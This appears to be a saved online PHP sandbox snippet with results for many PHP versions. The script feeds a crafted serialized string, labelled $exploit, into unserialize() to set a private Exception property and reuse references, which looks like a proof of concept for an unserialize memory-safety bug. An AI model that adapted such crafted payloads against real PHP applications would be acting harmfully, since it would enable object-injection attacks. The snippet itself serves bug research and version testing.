@ 2015-10-02T11:41:29Z <?php
class obj {
var $prop;
function __wakeup() {
$this->prop = 1;
}
}
$exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:0;i:1;i:2;R:3;}';
$x = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($x);
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Output for 8.0.0 - 8.0.30 , 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 Fatal error: Uncaught TypeError: Cannot assign int to property Exception::$trace of type array in /in/Q7caS:11
Stack trace:
#0 /in/Q7caS(11): unserialize('a:3:{i:0;O:9:"e...')
#1 {main}
thrown in /in/Q7caS on line 11
Process exited with code 255 . Output for 5.4.2 - 5.4.45 , 5.5.24 - 5.5.35 , 5.6.7 - 5.6.28 , 7.0.20 , 7.1.5 - 7.1.20 , 7.2.0 - 7.2.33 , 7.3.16 - 7.3.33 , 7.4.0 - 7.4.33 array(2) {
[0]=>
int(1)
[2]=>
int(1)
}
Output for 7.0.0 - 7.0.6 , 7.1.0 array(1) {
[0]=>
int(1)
}
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202.07 ms | 401 KiB | 227 Q